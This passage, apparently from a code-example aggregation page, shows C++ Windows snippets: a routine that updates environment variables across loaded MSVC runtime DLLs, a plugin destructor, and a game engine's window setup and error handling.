if (action == addOnly && !(getenv(name).empty()) )
return 0;
bool convIsOK;
std::wstring Wvalue (win32ConvertUtf8ToW(value,&convIsOK));
if (!convIsOK)
return -1;
int retValue = 0;
std::wstring EnvString;
if (action == deleteVariable)
EnvString = Wname + L"=";
else
EnvString = Wname + L"=" + Wvalue;
static const wchar_t *modulesList[] =
{
/*{ L"msvcrt20.dll" }, // Visual C++ 2.0 / 2.1 / 2.2
{ L"msvcrt40.dll" }, // Visual C++ 4.0 / 4.1 */ // too old and no UNICODE support - ignoring
{ L"msvcrt.dll" }, // Visual Studio 6.0 / MinGW[-w64]
{ L"msvcr70.dll" }, // Visual Studio 2002
{ L"msvcr71.dll" }, // Visual Studio 2003
{ L"msvcr80.dll" }, // Visual Studio 2005
{ L"msvcr90.dll" }, // Visual Studio 2008
{ L"msvcr100.dll" }, // Visual Studio 2010
#ifdef _DEBUG
{ L"msvcr100d.dll" },// Visual Studio 2010 (debug)
#endif
{ L"msvcr110.dll" }, // Visual Studio 2012
#ifdef _DEBUG
{ L"msvcr110d.dll" },// Visual Studio 2012 (debug)
#endif
{ NULL } // Terminating NULL for list
};
// Check all modules each function run, because modules can be loaded/unloaded at runtime
for (int i = 0; modulesList[i]; i++)
{
HMODULE hModule;
if (!GetModuleHandleExW(0, modulesList[i], &hModule) || hModule == NULL) // Flag 0 ensures that module will be kept loaded until it'll be freed
continue; // Module not loaded
wputenvPtr wputenvFunc = (wputenvPtr) GetProcAddress(hModule, "_wputenv");
if (wputenvFunc != NULL && wputenvFunc(EnvString.c_str()) != 0)
retValue |= 2; // At lest one external runtime library Environment update failed
FreeLibrary(hModule);
}
// Update process Environment used for current process and for future new child processes
if (action == deleteVariable || value.empty())
retValue += SetEnvironmentVariableW(Wname.c_str(), NULL) ? 0 : 4; // 4 if failed
else
retValue += SetEnvironmentVariableW(Wname.c_str(), Wvalue.c_str()) ? 0 : 4; // 4 if failed
// Finally update our runtime Environment
retValue += (::_wputenv(EnvString.c_str()) == 0) ? 0 : 8; // 8 if failed
return retValue;
}
示例14:
/**
* The destructor
* Unload the dll if it was loaded
*/
CPluginInfo::~CPluginInfo() {
if (m_pDll!=NULL) FreeLibrary(m_pDll);
}
示例15: DoMain
//.........这里部分代码省略.........
WndClass.cbWndExtra = 0;
WndClass.hInstance = hInstance;
WndClass.hIcon = LoadIcon (hInstance, MAKEINTRESOURCE(IDI_ICON1));
WndClass.hCursor = LoadCursor (NULL, IDC_ARROW);
WndClass.hbrBackground = NULL;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = (LPCTSTR)WinClassName;
/* register this new class with Windows */
if (!RegisterClass((LPWNDCLASS)&WndClass))
I_FatalError ("Could not register window class");
/* create window */
char caption[100];
mysnprintf(caption, countof(caption), ""GAMESIG" %s "X64, GetVersionString());
Window = CreateWindowEx(
WS_EX_APPWINDOW,
(LPCTSTR)WinClassName,
(LPCTSTR)caption,
WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CLIPCHILDREN,
x, y, width, height,
(HWND) NULL,
(HMENU) NULL,
hInstance,
NULL);
if (!Window)
I_FatalError ("Could not open window");
if (kernel != NULL)
{
typedef BOOL (WINAPI *pts)(DWORD, DWORD *);
pts pidsid = (pts)GetProcAddress (kernel, "ProcessIdToSessionId");
if (pidsid != 0)
{
if (!pidsid (GetCurrentProcessId(), &SessionID))
{
SessionID = 0;
}
hwtsapi32 = LoadLibraryA ("wtsapi32.dll");
if (hwtsapi32 != 0)
{
FARPROC reg = GetProcAddress (hwtsapi32, "WTSRegisterSessionNotification");
if (reg == 0 || !((BOOL(WINAPI *)(HWND, DWORD))reg) (Window, NOTIFY_FOR_THIS_SESSION))
{
FreeLibrary (hwtsapi32);
hwtsapi32 = 0;
}
else
{
atterm (UnWTS);
}
}
}
}
GetClientRect (Window, &cRect);
WinWidth = cRect.right;
WinHeight = cRect.bottom;
CoInitialize (NULL);
atterm (UnCOM);
C_InitConsole (((WinWidth / 8) + 2) * 8, (WinHeight / 12) * 8, false);
I_DetectOS ();
D_DoomMain ();
}
catch (class CNoRunExit &)
{
I_ShutdownGraphics();
if (FancyStdOut && !AttachedStdOut)
{ // Outputting to a new console window: Wait for a keypress before quitting.
DWORD bytes;
HANDLE stdinput = GetStdHandle(STD_INPUT_HANDLE);
ShowWindow (Window, SW_HIDE);
WriteFile(StdOut, "Press any key to exit...", 24, &bytes, NULL);
FlushConsoleInputBuffer(stdinput);
SetConsoleMode(stdinput, 0);
ReadConsole(stdinput, &bytes, 1, &bytes, NULL);
}
else if (StdOut == NULL)
{
ShowErrorPane(NULL);
}
exit(0);
}
catch (class CDoomError &error)
{
I_ShutdownGraphics ();
RestoreConView ();
if (error.GetMessage ())
{
ShowErrorPane (error.GetMessage());
}
exit (-1);
}
}